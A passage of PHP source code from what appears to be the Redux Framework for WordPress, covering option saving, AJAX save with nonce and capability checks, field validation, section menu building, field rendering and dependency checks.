$field['id'] ] = $this->options_defaults[ $field['id'] ]; } else { $plugin_options[ $field['id'] ] = ""; } if ( isset ( $field['compiler'] ) ) { $compiler = true; } } $plugin_options = apply_filters( "redux/validate/{$this->args['opt_name']}/defaults_section", $plugin_options ); } $this->transients['changed_values'] = array(); foreach ( $this->options as $key => $value ) { if ( isset ( $plugin_options[ $key ] ) && $value != $plugin_options[ $key ] ) { $this->transients['changed_values'][ $key ] = $value; } } if ( isset ( $compiler ) ) { //$this->run_compiler = true; //setcookie('redux-compiler-' . $this->args['opt_name'], 1, time()+1000, '/'); //$plugin_options['REDUX_COMPILER'] = time(); $this->transients['last_compiler'] = $time; $this->transients['run_compiler'] = 1; } $this->transients['last_save_mode'] = "defaults_section"; // Last save mode //setcookie("redux-saved-{$this->args['opt_name']}", 'defaults_section', time() + 1000, "/"); unset ( $plugin_options['defaults'], $plugin_options['defaults_section'], $plugin_options['import'], $plugin_options['import_code'], $plugin_options['import_link'], $plugin_options['compiler'], $plugin_options['redux-section'] ); $this->set_transients(); return $plugin_options; } // if ($this->transients['last_save_mode'] != 'remove') { $this->transients['last_save_mode'] = "normal"; // Last save mode // } else { // $this->transients['last_save_mode'] = ''; // } /** * apply_filters 'redux/validate/{opt_name}/before_validation' * * @param &array [&$plugin_options, redux_options] */ $plugin_options = apply_filters( "redux/validate/{$this->args['opt_name']}/before_validation", $plugin_options, $this->options ); // Validate fields (if needed) $plugin_options = $this->_validate_values( $plugin_options, $this->options, $this->sections ); if ( ! empty ( $this->errors ) || ! empty ( $this->warnings ) ) { $this->transients['notices'] = array( 'errors' => $this->errors, 'warnings' => $this->warnings ); } /** * action 'redux-validate-{opt_name}' * * @deprecated * * @param &array [&$plugin_options, redux_options] */ do_action_ref_array( "redux-validate-{$this->args['opt_name']}", array( &$plugin_options, $this->options ) ); // REMOVE if ( ! isset ( $this->transients['changed_values'] ) ) { $this->transients['changed_values'] = array(); } /** * action 'redux/options/{opt_name}/validate' * * @param &array [&$plugin_options, redux_options] */ do_action_ref_array( "redux/options/{$this->args['opt_name']}/validate", array( &$plugin_options, $this->options, $this->transients['changed_values'] ) ); if ( ! empty ( $plugin_options['compiler'] ) ) { unset ( $plugin_options['compiler'] ); $this->transients['last_compiler'] = $time; $this->transients['run_compiler'] = 1; } $this->transients['changed_values'] = array(); // Changed values since last save if ( !empty( $this->options ) ) { foreach ( $this->options as $key => $value ) { if ( isset ( $plugin_options[ $key ] ) && $value != $plugin_options[ $key ] ) { $this->transients['changed_values'][ $key ] = $value; } } } unset ( $plugin_options['defaults'], $plugin_options['defaults_section'], $plugin_options['import'], $plugin_options['import_code'], $plugin_options['import_link'], $plugin_options['compiler'], $plugin_options['redux-section'] ); if ( $this->args['database'] == 'transient' || $this->args['database'] == 'theme_mods' || $this->args['database'] == 'theme_mods_expanded' ) { $this->set_options( $plugin_options ); return; } if ( defined( 'WP_CACHE' ) && WP_CACHE && class_exists( 'W3_ObjectCache' ) && function_exists( 'w3_instance' ) ) { //echo "here"; $w3_inst = w3_instance( 'W3_ObjectCache' ); $w3 = $w3_inst->instance(); $key = $w3->_get_cache_key( $this->args['opt_name'] . '-transients', 'transient' ); //echo $key; $w3->delete( $key, 'transient', true ); //set_transient($this->args['opt_name'].'-transients', $this->transients); //exit(); } $this->set_transients(); return $plugin_options; } public function ajax_save() { if ( ! wp_verify_nonce( $_REQUEST['nonce'], "redux_ajax_nonce" . $this->args['opt_name'] ) ) { echo json_encode( array( 'status' => __( 'Invalid security credential. Please reload the page and try again.', 'redux-framework' ), 'action' => '' ) ); die(); } if ( ! self::current_user_can( $this->args['page_permissions'] ) ) { echo json_encode( array( 'status' => __( 'Invalid user capability. Please reload the page and try again.', 'redux-framework' ), 'action' => '' ) ); die(); } $redux = ReduxFrameworkInstances::get_instance( $_POST['opt_name'] ); if ( ! empty ( $_POST['data'] ) && ! empty ( $redux->args['opt_name'] ) ) { $values = array(); //if (function_exists('get_magic_quotes_gpc') && get_magic_quotes_gpc()) { // $process = array(&$_GET, &$_POST, &$_COOKIE, &$_REQUEST); // while (list($key, $val) = each($process)) { // foreach ($val as $k => $v) { // unset($process[$key][$k]); // if (is_array($v)) { // $process[$key][stripslashes($k)] = $v; // $process[] = &$process[$key][stripslashes($k)]; // } else { // $process[$key][stripslashes($k)] = stripslashes($v); // } // } // } // unset($process); //} $_POST['data'] = stripslashes( $_POST['data'] ); // Old method of saving, in case we need to go back! - kp //parse_str( $_POST['data'], $values ); // New method to avoid input_var nonesense. Thanks @harunbasic $values = $this->redux_parse_str( $_POST['data'] ); $values = $values[ $redux->args['opt_name'] ]; if ( function_exists( 'get_magic_quotes_gpc' ) && get_magic_quotes_gpc() ) { $values = array_map( 'stripslashes_deep', $values ); } if ( ! empty ( $values ) ) { try { if ( isset ( $redux->validation_ran ) ) { unset ( $redux->validation_ran ); } $redux->set_options( $redux->_validate_options( $values ) ); $do_reload = false; if ( isset( $this->reload_fields ) && ! empty( $this->reload_fields ) ) { if ( ! empty( $this->transients['changed_values'] ) ) { foreach ( $this->reload_fields as $idx => $val ) { if ( array_key_exists( $val, $this->transients['changed_values'] ) ) { $do_reload = true; } } } } if ( $do_reload || ( isset ( $values['defaults'] ) && ! empty ( $values['defaults'] ) ) || ( isset ( $values['defaults-section'] ) && ! empty ( $values['defaults-section'] ) ) || ( isset ( $values['import_code'] ) && ! empty ($values['import_code']) ) || ( isset ( $values['import_link'] ) && ! empty ($values['import_link']) ) ) { echo json_encode( array( 'status' => 'success', 'action' => 'reload' ) ); die (); } require_once 'core/enqueue.php'; $enqueue = new reduxCoreEnqueue ( $redux ); $enqueue->get_warnings_and_errors_array(); $return_array = array( 'status' => 'success', 'options' => $redux->options, 'errors' => isset ( $redux->localize_data['errors'] ) ? $redux->localize_data['errors'] : null, 'warnings' => isset ( $redux->localize_data['warnings'] ) ? $redux->localize_data['warnings'] : null, ); } catch ( Exception $e ) { $return_array = array( 'status' => $e->getMessage() ); } } else { echo json_encode( array( 'status' => __( 'Your panel has no fields. Nothing to save.', 'redux-framework' ) ) ); } } if ( isset ( $this->transients['run_compiler'] ) && $this->transients['run_compiler'] ) { $this->no_output = true; $this->_enqueue_output(); try { /** * action 'redux-compiler-{opt_name}' * * @deprecated * * @param array options * @param string CSS that get sent to the compiler hook */ do_action( "redux-compiler-{$this->args['opt_name']}", $this->options, $this->compilerCSS, $this->transients['changed_values'] ); // REMOVE /** * action 'redux/options/{opt_name}/compiler' * * @param array options * @param string CSS that get sent to the compiler hook */ do_action( "redux/options/{$this->args['opt_name']}/compiler", $this->options, $this->compilerCSS, $this->transients['changed_values'] ); /** * action 'redux/options/{opt_name}/compiler/advanced' * * @param array options * @param string CSS that get sent to the compiler hook, which sends the full Redux object */ do_action( "redux/options/{$this->args['opt_name']}/compiler/advanced", $this ); } catch ( Exception $e ) { $return_array = array( 'status' => $e->getMessage() ); } unset ( $this->transients['run_compiler'] ); $this->set_transients(); } if ( isset( $return_array ) ) { if ( $return_array['status'] == "success" ) { require_once 'core/panel.php'; $panel = new reduxCorePanel ( $redux ); ob_start(); $panel->notification_bar(); $notification_bar = ob_get_contents(); ob_end_clean(); $return_array['notification_bar'] = $notification_bar; } echo json_encode( apply_filters( "redux/options/{$this->args['opt_name']}/ajax_save/response", $return_array ) ); } die (); } /** * Validate values from options form (used in settings api validate function) * calls the custom validation class for the field so authors can override with custom classes * * @since 1.0.0 * @access public * * @param array $plugin_options * @param array $options * * @return array $plugin_options */ public function _validate_values( $plugin_options, $options, $sections ) { foreach ( $sections as $k => $section ) { if ( isset ( $section['fields'] ) ) { foreach ( $section['fields'] as $fkey => $field ) { if ( is_array( $field ) ) { $field['section_id'] = $k; } if ( isset ( $field['type'] ) && ( $field['type'] == 'checkbox' || $field['type'] == 'checkbox_hide_below' || $field['type'] == 'checkbox_hide_all' ) ) { if ( ! isset ( $plugin_options[ $field['id'] ] ) ) { $plugin_options[ $field['id'] ] = 0; } } // if ( isset ( $field['type'] ) && $field['type'] == 'typography' ) { // if ( ! is_array( $plugin_options[ $field['id'] ] ) && ! empty( $plugin_options[ $field['id'] ] ) ) { // $plugin_options[ $field['id'] ] = json_decode( $plugin_options[ $field['id'] ], true ); // } // } if ( isset( $this->extensions[ $field['type'] ] ) && method_exists( $this->extensions[ $field['type'] ], '_validate_values' ) ) { $plugin_options = $this->extensions[ $field['type'] ]->_validate_values( $plugin_options, $field, $sections ); } // Default 'not_empty 'flag to false. $isNotEmpty = false; // Make sure 'validate' field is set. if ( isset ( $field['validate'] ) ) { // Make sure 'validate field' is set to 'not_empty' or 'email_not_empty' //if ( $field['validate'] == 'not_empty' || $field['validate'] == 'email_not_empty' || $field['validate'] == 'numeric_not_empty' ) { if ( strtolower( substr( $field['validate'], - 9 ) ) == 'not_empty' ) { // Set the flag. $isNotEmpty = true; } } // Check for empty id value if ( ! isset ( $field['id'] ) || ! isset ( $plugin_options[ $field['id'] ] ) || ( isset ( $plugin_options[ $field['id'] ] ) && $plugin_options[ $field['id'] ] == '' ) ) { // If we are looking for an empty value, in the case of 'not_empty' // then we need to keep processing. if ( ! $isNotEmpty ) { // Empty id and not checking for 'not_empty. Bail out... if (!isset($field['validate_callback'])) { continue; } //continue; } } // Force validate of custom field types if ( isset ( $field['type'] ) && ! isset ( $field['validate'] ) && ! isset( $field['validate_callback'] ) ) { if ( $field['type'] == 'color' || $field['type'] == 'color_gradient' ) { $field['validate'] = 'color'; } elseif ( $field['type'] == 'date' ) { $field['validate'] = 'date'; } } if ( isset ( $field['validate'] ) ) { $validate = 'Redux_Validation_' . $field['validate']; if ( ! class_exists( $validate ) ) { /** * filter 'redux-validateclass-load' * * @deprecated * * @param string validation class file path * @param string $validate validation class name */ $class_file = apply_filters( "redux-validateclass-load", self::$_dir . "inc/validation/{$field['validate']}/validation_{$field['validate']}.php", $validate ); // REMOVE LATER /** * filter 'redux/validate/{opt_name}/class/{field.validate}' * * @param string validation class file path * @param string $class_file validation class file path */ $class_file = apply_filters( "redux/validate/{$this->args['opt_name']}/class/{$field['validate']}", self::$_dir . "inc/validation/{$field['validate']}/validation_{$field['validate']}.php", $class_file ); if ( $class_file ) { if ( file_exists( $class_file ) ) { require_once $class_file; } } } if ( class_exists( $validate ) ) { //!DOVY - DB saving stuff. Is this right? if ( empty ( $options[ $field['id'] ] ) ) { $options[ $field['id'] ] = ''; } if ( isset ( $plugin_options[ $field['id'] ] ) && is_array( $plugin_options[ $field['id'] ] ) && ! empty ( $plugin_options[ $field['id'] ] ) ) { foreach ( $plugin_options[ $field['id'] ] as $key => $value ) { $before = $after = null; if ( isset ( $plugin_options[ $field['id'] ][ $key ] ) && ( ! empty ( $plugin_options[ $field['id'] ][ $key ] ) || $plugin_options[ $field['id'] ][ $key ] == '0' ) ) { if ( is_array( $plugin_options[ $field['id'] ][ $key ] ) ) { $before = $plugin_options[ $field['id'] ][ $key ]; } else { $before = trim( $plugin_options[ $field['id'] ][ $key ] ); } } if ( isset ( $options[ $field['id'] ][ $key ] ) && ( ! empty ( $plugin_options[ $field['id'] ][ $key ] ) || $plugin_options[ $field['id'] ][ $key ] == '0' ) ) { $after = $options[ $field['id'] ][ $key ]; } $validation = new $validate ( $this, $field, $before, $after ); if ( ! empty ( $validation->value ) || $validation->value == '0' ) { $plugin_options[ $field['id'] ][ $key ] = $validation->value; } else { unset ( $plugin_options[ $field['id'] ][ $key ] ); } if ( isset ( $validation->error ) ) { $this->errors[] = $validation->error; } if ( isset ( $validation->warning ) ) { $this->warnings[] = $validation->warning; } } } else { if ( isset( $plugin_options[ $field['id'] ] ) ) { if ( is_array( $plugin_options[ $field['id'] ] ) ) { $pofi = $plugin_options[ $field['id'] ]; } else { $pofi = trim( $plugin_options[ $field['id'] ] ); } } else { $pofi = null; } $validation = new $validate ( $this, $field, $pofi, $options[ $field['id'] ] ); $plugin_options[ $field['id'] ] = $validation->value; if ( isset ( $validation->error ) ) { $this->errors[] = $validation->error; } if ( isset ( $validation->warning ) ) { $this->warnings[] = $validation->warning; } } continue; } } if ( isset ( $field['validate_callback'] ) && ( is_callable( $field['validate_callback'] ) || ( is_string( $field['validate_callback'] ) && function_exists( $field['validate_callback'] ) ) ) ) { $callback = $field['validate_callback']; unset ( $field['validate_callback'] ); $plugin_option = isset( $plugin_options[ $field['id'] ] ) ? $plugin_options[ $field['id'] ] : null; $option = isset( $options[ $field['id'] ] ) ? $options[ $field['id'] ] : null; $callbackvalues = call_user_func( $callback, $field, $plugin_option, $option ); $plugin_options[ $field['id'] ] = $callbackvalues['value']; if ( isset ( $callbackvalues['error'] ) ) { $this->errors[] = $callbackvalues['error']; } // TODO - This warning message is failing. Hmm. // No it isn't. Problem was in the sample-config - kp if ( isset ( $callbackvalues['warning'] ) ) { $this->warnings[] = $callbackvalues['warning']; } } } } } return $plugin_options; } /** * Return Section Menu HTML * * @since 3.1.5 * @access public * @return void */ public function section_menu( $k, $section, $suffix = "", $sections = array() ) { $display = true; $section['class'] = isset ( $section['class'] ) ? ' ' . $section['class'] : ''; if ( isset ( $_GET['page'] ) && $_GET['page'] == $this->args['page_slug'] ) { if ( isset ( $section['panel'] ) && $section['panel'] == false ) { $display = false; } } if ( ! $display ) { return ""; } if ( empty ( $sections ) ) { $sections = $this->sections; } $string = ""; if ( ( ( isset ( $this->args['icon_type'] ) && $this->args['icon_type'] == 'image' ) || ( isset ( $section['icon_type'] ) && $section['icon_type'] == 'image' ) ) || ( isset( $section['icon'] ) && strpos( $section['icon'], '/' ) !== false ) ) { //if( !empty( $this->args['icon_type'] ) && $this->args['icon_type'] == 'image' ) { $icon = ( ! isset ( $section['icon'] ) ) ? '' : '<img class="image_icon_type" src="' . esc_url( $section['icon'] ) . '" /> '; } else { if ( ! empty ( $section['icon_class'] ) ) { $icon_class = ' ' . $section['icon_class']; } elseif ( ! empty ( $this->args['default_icon_class'] ) ) { $icon_class = ' ' . $this->args['default_icon_class']; } else { $icon_class = ''; } $icon = ( ! isset ( $section['icon'] ) ) ? '<i class="el el-cog' . esc_attr( $icon_class ) . '"></i> ' : '<i class="' . esc_attr( $section['icon'] ) . esc_attr( $icon_class ) . '"></i> '; } if ( strpos( $icon, 'el-icon-' ) !== false ) { $icon = str_replace( 'el-icon-', 'el el-', $icon ); } $hide_section = ''; if ( isset ( $section['hidden'] ) ) { $hide_section = ( $section['hidden'] == true ) ? ' hidden ' : ''; } $canBeSubSection = ( $k > 0 && ( ! isset ( $sections[ ( $k ) ]['type'] ) || $sections[ ( $k ) ]['type'] != "divide" ) ) ? true : false; if ( ! $canBeSubSection && isset ( $section['subsection'] ) && $section['subsection'] == true ) { unset ( $section['subsection'] ); } if ( isset ( $section['type'] ) && $section['type'] == "divide" ) { $string .= '<li class="divide' . esc_attr( $section['class'] ) . '"> </li>'; } else if ( ! isset ( $section['subsection'] ) || $section['subsection'] != true ) { // DOVY! REPLACE $k with $section['ID'] when used properly. //$active = ( ( is_numeric($this->current_tab) && $this->current_tab == $k ) || ( !is_numeric($this->current_tab) && $this->current_tab === $k ) ) ? ' active' : ''; $subsections = ( isset ( $sections[ ( $k + 1 ) ] ) && isset ( $sections[ ( $k + 1 ) ]['subsection'] ) && $sections[ ( $k + 1 ) ]['subsection'] == true ) ? true : false; $subsectionsClass = $subsections ? ' hasSubSections' : ''; $subsectionsClass .= ( ! isset ( $section['fields'] ) || empty ( $section['fields'] ) ) ? ' empty_section' : ''; $extra_icon = $subsections ? '<span class="extraIconSubsections"><i class="el el-chevron-down"> </i></span>' : ''; //var_dump($section); $string .= '<li id="' . esc_attr( $k . $suffix ) . '_section_group_li" class="redux-group-tab-link-li' . esc_attr( $hide_section ) . esc_attr( $section['class'] ) . esc_attr( $subsectionsClass ) . '">'; $string .= '<a href="javascript:void(0);" id="' . esc_attr( $k . $suffix ) . '_section_group_li_a" class="redux-group-tab-link-a" data-key="' . esc_attr( $k ) . '" data-rel="' . esc_attr( $k . $suffix ) . '">' . $extra_icon . $icon . '<span class="group_title">' . wp_kses_post( $section['title'] ) . '</span></a>'; $nextK = $k; // Make sure you can make this a subsection if ( $subsections ) { $string .= '<ul id="' . esc_attr( $nextK . $suffix ) . '_section_group_li_subsections" class="subsection">'; $doLoop = true; while ( $doLoop ) { $nextK += 1; $display = true; if ( isset ( $_GET['page'] ) && $_GET['page'] == $this->args['page_slug'] ) { if ( isset ( $sections[ $nextK ]['panel'] ) && $sections[ $nextK ]['panel'] == false ) { $display = false; } } if ( count( $sections ) < $nextK || ! isset ( $sections[ $nextK ] ) || ! isset ( $sections[ $nextK ]['subsection'] ) || $sections[ $nextK ]['subsection'] != true ) { $doLoop = false; } else { if ( ! $display ) { continue; } $hide_sub = ''; if ( isset ( $sections[ $nextK ]['hidden'] ) ) { $hide_sub = ( $sections[ $nextK ]['hidden'] == true ) ? ' hidden ' : ''; } if ( ( isset ( $this->args['icon_type'] ) && $this->args['icon_type'] == 'image' ) || ( isset ( $sections[ $nextK ]['icon_type'] ) && $sections[ $nextK ]['icon_type'] == 'image' ) ) { //if( !empty( $this->args['icon_type'] ) && $this->args['icon_type'] == 'image' ) { $icon = ( ! isset ( $sections[ $nextK ]['icon'] ) ) ? '' : '<img class="image_icon_type" src="' . esc_url( $sections[ $nextK ]['icon'] ) . '" /> '; } else { if ( ! empty ( $sections[ $nextK ]['icon_class'] ) ) { $icon_class = ' ' . $sections[ $nextK ]['icon_class']; } elseif ( ! empty ( $this->args['default_icon_class'] ) ) { $icon_class = ' ' . $this->args['default_icon_class']; } else { $icon_class = ''; } $icon = ( ! isset ( $sections[ $nextK ]['icon'] ) ) ? '' : '<i class="' . esc_attr( $sections[ $nextK ]['icon'] ) . esc_attr( $icon_class ) . '"></i> '; } if ( strpos( $icon, 'el-icon-' ) !== false ) { $icon = str_replace( 'el-icon-', 'el el-', $icon ); } $sections[ $nextK ]['class'] = isset($sections[ $nextK ]['class']) ? $sections[ $nextK ]['class'] : ''; $section[ $nextK ]['class'] = isset ( $section[ $nextK ]['class'] ) ? $section[ $nextK ]['class'] : $sections[ $nextK ]['class']; $string .= '<li id="' . esc_attr( $nextK . $suffix ) . '_section_group_li" class="redux-group-tab-link-li ' . esc_attr( $hide_sub ) . esc_attr( $section[ $nextK ]['class'] ) . ( $icon ? ' hasIcon' : '' ) . '">'; $string .= '<a href="javascript:void(0);" id="' . esc_attr( $nextK . $suffix ) . '_section_group_li_a" class="redux-group-tab-link-a" data-key="' . esc_attr( $nextK ) . '" data-rel="' . esc_attr( $nextK . $suffix ) . '">' . $icon . '<span class="group_title">' . wp_kses_post( $sections[ $nextK ]['title'] ) . '</span></a>'; $string .= '</li>'; } } $string .= '</ul>'; } $string .= '</li>'; } return $string; } // section_menu() /** * HTML OUTPUT. * * @since 1.0.0 * @access public * @return void */ public function generate_panel() { require_once 'core/panel.php'; $panel = new reduxCorePanel ( $this ); $panel->init(); $this->set_transients(); } /** * Section HTML OUTPUT. * * @since 1.0.0 * @access public * * @param array $section * * @return void */ public function _section_desc( $section ) { $id = rtrim( $section['id'], '_section' ); $id = str_replace($this->args['opt_name'], '', $id); if ( isset ( $this->sections[ $id ]['desc'] ) && ! empty ( $this->sections[ $id ]['desc'] ) ) { echo '<div class="redux-section-desc">' . $this->sections[ $id ]['desc'] . '</div>'; } } /** * Field HTML OUTPUT. * Gets option from options array, then calls the specific field type class - allows extending by other devs * * @since 1.0.0 * * @param array $field * @param string $v * * @return void */ public function _field_input( $field, $v = null ) { if ( isset ( $field['callback'] ) && ( is_callable( $field['callback'] ) || ( is_string( $field['callback'] ) && function_exists( $field['callback'] ) ) ) ) { $value = ( isset ( $this->options[ $field['id'] ] ) ) ? $this->options[ $field['id'] ] : ''; /** * action 'redux-before-field-{opt_name}' * * @deprecated * * @param array $field field data * @param string $value field.id */ do_action( "redux-before-field-{$this->args['opt_name']}", $field, $value ); // REMOVE /** * action 'redux/field/{opt_name}/{field.type}/callback/before' * * @param array $field field data * @param string $value field.id */ do_action_ref_array( "redux/field/{$this->args['opt_name']}/{$field['type']}/callback/before", array( &$field, &$value ) ); /** * action 'redux/field/{opt_name}/callback/before' * * @param array $field field data * @param string $value field.id */ do_action_ref_array( "redux/field/{$this->args['opt_name']}/callback/before", array( &$field, &$value ) ); call_user_func( $field['callback'], $field, $value ); /** * action 'redux-after-field-{opt_name}' * * @deprecated * * @param array $field field data * @param string $value field.id */ do_action( "redux-after-field-{$this->args['opt_name']}", $field, $value ); // REMOVE /** * action 'redux/field/{opt_name}/{field.type}/callback/after' * * @param array $field field data * @param string $value field.id */ do_action_ref_array( "redux/field/{$this->args['opt_name']}/{$field['type']}/callback/after", array( &$field, &$value ) ); /** * action 'redux/field/{opt_name}/callback/after' * * @param array $field field data * @param string $value field.id */ do_action_ref_array( "redux/field/{$this->args['opt_name']}/callback/after", array( &$field, &$value ) ); return; } if ( isset ( $field['type'] ) ) { // If the field is set not to display in the panel $display = true; if ( isset ( $_GET['page'] ) && $_GET['page'] == $this->args['page_slug'] ) { if ( isset ( $field['panel'] ) && $field['panel'] == false ) { $display = false; } } if ( ! $display ) { return; } $field_class = "ReduxFramework_{$field['type']}"; if ( ! class_exists( $field_class ) ) { // $class_file = apply_filters( 'redux/field/class/'.$field['type'], self::$_dir . 'inc/fields/' . $field['type'] . '/field_' . $field['type'] . '.php', $field ); // REMOVE /** * filter 'redux/{opt_name}/field/class/{field.type}' * * @param string field class file path * @param array $field field data */ $class_file = apply_filters( "redux/{$this->args['opt_name']}/field/class/{$field['type']}", self::$_dir . "inc/fields/{$field['type']}/field_{$field['type']}.php", $field ); if ( $class_file ) { if ( file_exists( $class_file ) ) { require_once $class_file; } } } if ( class_exists( $field_class ) ) { $value = isset ( $this->options[ $field['id'] ] ) ? $this->options[ $field['id'] ] : ''; if ( $v != null ) { $value = $v; } /** * action 'redux-before-field-{opt_name}' * * @deprecated * * @param array $field field data * @param string $value field id */ do_action( "redux-before-field-{$this->args['opt_name']}", $field, $value ); // REMOVE /** * action 'redux/field/{opt_name}/{field.type}/render/before' * * @param array $field field data * @param string $value field id */ do_action_ref_array( "redux/field/{$this->args['opt_name']}/{$field['type']}/render/before", array( &$field, &$value ) ); /** * action 'redux/field/{$this->args['opt_name']}/render/before' * * @param array $field field data * @param string $value field id */ do_action_ref_array( "redux/field/{$this->args['opt_name']}/render/before", array( &$field, &$value ) ); if ( ! isset ( $field['name_suffix'] ) ) { $field['name_suffix'] = ""; } $render = new $field_class ( $field, $value, $this ); ob_start(); $render->render(); /* echo "<pre>"; print_r($value); echo "</pre>"; */ /** * filter 'redux-field-{opt_name}' * * @deprecated * * @param string rendered field markup * @param array $field field data */ $_render = apply_filters( "redux-field-{$this->args['opt_name']}", ob_get_contents(), $field ); // REMOVE /** * filter 'redux/field/{opt_name}/{field.type}/render/after' * * @param string rendered field markup * @param array $field field data */ $_render = apply_filters( "redux/field/{$this->args['opt_name']}/{$field['type']}/render/after", $_render, $field ); /** * filter 'redux/field/{opt_name}/render/after' * * @param string rendered field markup * @param array $field field data */ $_render = apply_filters( "redux/field/{$this->args['opt_name']}/render/after", $_render, $field ); ob_end_clean(); //save the values into a unique array in case we need it for dependencies $this->fieldsValues[ $field['id'] ] = ( isset ( $value['url'] ) && is_array( $value ) ) ? $value['url'] : $value; //create default data und class string and checks the dependencies of an object $class_string = ''; $data_string = ''; $this->check_dependencies( $field ); /** * action 'redux/field/{opt_name}/{field.type}/fieldset/before/{opt_name}' * * @param array $field field data * @param string $value field id */ do_action_ref_array( "redux/field/{$this->args['opt_name']}/{$field['type']}/fieldset/before/{$this->args['opt_name']}", array( &$field, &$value ) ); /** * action 'redux/field/{opt_name}/fieldset/before/{opt_name}' * * @param array $field field data * @param string $value field id */ do_action_ref_array( "redux/field/{$this->args['opt_name']}/fieldset/before/{$this->args['opt_name']}", array( &$field, &$value ) ); //if ( ! isset( $field['fields'] ) || empty( $field['fields'] ) ) { $hidden = ''; if ( isset ( $field['hidden'] ) && $field['hidden'] ) { $hidden = 'hidden '; } if ( isset( $field['full_width'] ) && $field['full_width'] == true ) { $class_string .= "redux_remove_th"; } if ( isset ( $field['fieldset_class'] ) && ! empty( $field['fieldset_class'] ) ) { $class_string .= ' ' . $field['fieldset_class']; } echo '<fieldset id="' . $this->args['opt_name'] . '-' . $field['id'] . '" class="' . $hidden . 'redux-field-container redux-field redux-field-init redux-container-' . $field['type'] . ' ' . $class_string . '" data-id="' . $field['id'] . '" ' . $data_string . ' data-type="' . $field['type'] . '">'; //} echo $_render; if ( ! empty ( $field['desc'] ) ) { $field['description'] = $field['desc']; } echo ( isset ( $field['description'] ) && $field['type'] != "info" && $field['type'] !== "section" && ! empty ( $field['description'] ) ) ? '<div class="description field-desc">' . $field['description'] . '</div>' : ''; //if ( ! isset( $field['fields'] ) || empty( $field['fields'] ) ) { echo '</fieldset>'; //} /** * action 'redux-after-field-{opt_name}' * * @deprecated * * @param array $field field data * @param string $value field id */ do_action( "redux-after-field-{$this->args['opt_name']}", $field, $value ); // REMOVE /** * action 'redux/field/{opt_name}/{field.type}/fieldset/after/{opt_name}' * * @param array $field field data * @param string $value field id */ do_action_ref_array( "redux/field/{$this->args['opt_name']}/{$field['type']}/fieldset/after/{$this->args['opt_name']}", array( &$field, &$value ) ); /** * action 'redux/field/{opt_name}/fieldset/after/{opt_name}' * * @param array $field field data * @param string $value field id */ do_action_ref_array( "redux/field/{$this->args['opt_name']}/fieldset/after/{$this->args['opt_name']}", array( &$field, &$value ) ); } } } // _field_input() /** * Can Output CSS * Check if a field meets its requirements before outputting to CSS * * @param $field * * @return bool */ public function _can_output_css( $field ) { $return = true; $field = apply_filters( "redux/field/{$this->args['opt_name']}/_can_output_css", $field ); if ( isset ( $field['force_output'] ) && $field['force_output'] == true ) { return $return; } if ( ! empty ( $field['required'] ) ) { if ( isset ( $field['required'][0] ) ) { if ( ! is_array( $field['required'][0] ) && count( $field['required'] ) == 3 ) { $parentValue = isset($GLOBALS[ $this->args['global_variable'] ][ $field['required'][0] ]) ? $GLOBALS[ $this->args['global_variable'] ][ $field['required'][0] ] : ''; $checkValue = $field['required'][2]; $operation = $field['required'][1]; $return = $this->compareValueDependencies( $parentValue, $checkValue, $operation ); } else if ( is_array( $field['required'][0] ) ) { foreach ( $field['required'] as $required ) { if ( ! is_array( $required[0] ) && count( $required ) == 3 ) { $parentValue = $GLOBALS[ $this->args['global_variable'] ][ $required[0] ]; $checkValue = $required[2]; $operation = $required[1]; $return = $this->compareValueDependencies( $parentValue, $checkValue, $operation ); } if ( ! $return ) { return $return; } } } } } return $return; } // _can_output_css /** * Checks dependencies between objects based on the $field['required'] array * If the array is set it needs to have exactly 3 entries. * The first entry describes which field should be monitored by the current field. eg: "content" * The second entry describes the comparison parameter. eg: "equals, not, is_larger, is_smaller ,contains" * The third entry describes the value that we are comparing against. * Example: if the required array is set to array('content','equals','Hello World'); then the current * field will only be displayed if the field with id "content" has exactly the value "Hello World" * * @param array $field * * @return array $params */ public function check_dependencies( $field ) { //$params = array('data_string' => "", 'class_string' => ""); if ( isset( $field['ajax_save'] ) && $field['ajax_save'] == false ) { $this->reload_fields[] = $field['id']; } if ( ! empty ( $field['required'] ) ) { if ( ! isset ( $this->required_child[ $field['id'] ] ) ) { $this->required_child[ $field['id'] ] = array(); } if ( ! isset ( $this->required[ $field['id'] ] ) ) { $this->required[ $field['id'] ] = array(); } if ( is_array( $field['required'][0] ) ) { foreach ( $field['required'] as $value ) { if ( is_array( $value ) && count( $value ) == 3 ) { $data = array(); $data['parent'] = $value[0]; $data['operation'] = $value[1]; $data['checkValue'] = $value[2]; $this->required[ $data['parent'] ][ $field['id'] ][] = $data; if ( ! in_array( $data['parent'], $this->required_child[ $field['id'] ] ) ) { $this->required_child[ $field['id'] ][] = $data; } $this->checkRequiredDependencies( $field, $data ); } } } else { $data = array(); $data['parent'] = $field['required'][0]; $data['operation'] = $field['required'][1]; $data['checkValue'] = $field['required'][2]; $this->required[ $data['parent'] ][ $field['id'] ][] = $data; if ( ! in_array( $data['parent'], $this->required_child[ $field['id'] ] ) ) { $this->required_child[ $field['id'] ][] = $data; } $this->checkRequiredDependencies( $field, $data ); } } //return $params; } // Compare data for required field private function compareValueDependencies( $parentValue, $checkValue, $operation ) { $return = false; switch ( $operation ) { case '=': case 'equals': $data['operation'] = "="; if ( is_array( $parentValue ) ) { foreach ( $parentValue as $idx => $val ) { if ( is_array( $checkValue ) ) { foreach ( $checkValue as $i => $v ) { if ( Redux_Helpers::makeBoolStr($val) === Redux_Helpers::makeBoolStr($v) ) { $return = true; } } } else { if ( Redux_Helpers::makeBoolStr($val) === Redux_Helpers::makeBoolStr($checkValue) ) { $return = true; } } } } else { //var_dump($checkValue); if ( is_array( $checkValue ) ) { foreach ( $checkValue as $i => $v ) { if ( Redux_Helpers::makeBoolStr($parentValue) === Redux_Helpers::makeBoolStr($v) ) { $return = true; } } } else { if ( Redux_Helpers::makeBoolStr($parentValue) === Redux_Helpers::makeBoolStr($checkValue) ) { $return = true; } } } break; case '!=': case 'not': $data['operation'] = "!=="; if ( is_array( $parentValue ) ) { foreach ( $parentValue as $idx => $val ) { if ( is_array( $checkValue ) ) { foreach ( $checkValue as $i => $v ) { if ( Redux_Helpers::makeBoolStr($val) !== Redux_Helpers::makeBoolStr($v) ) { $return = true; } } } else { if ( Redux_Helpers::makeBoolStr($val) !== Redux_Helpers::makeBoolStr($checkValue) ) { $return = true; } } } } else { if ( is_array( $checkValue ) ) { foreach ( $checkValue as $i => $v ) { if ( Redux_Helpers::makeBoolStr($parentValue) !== Redux_Helpers::makeBoolStr($v) ) { $return = true; } } } else { if ( Redux_Helpers::makeBoolStr($parentValue) !== Redux_Helpers::makeBoolStr($checkValue) ) { $return = 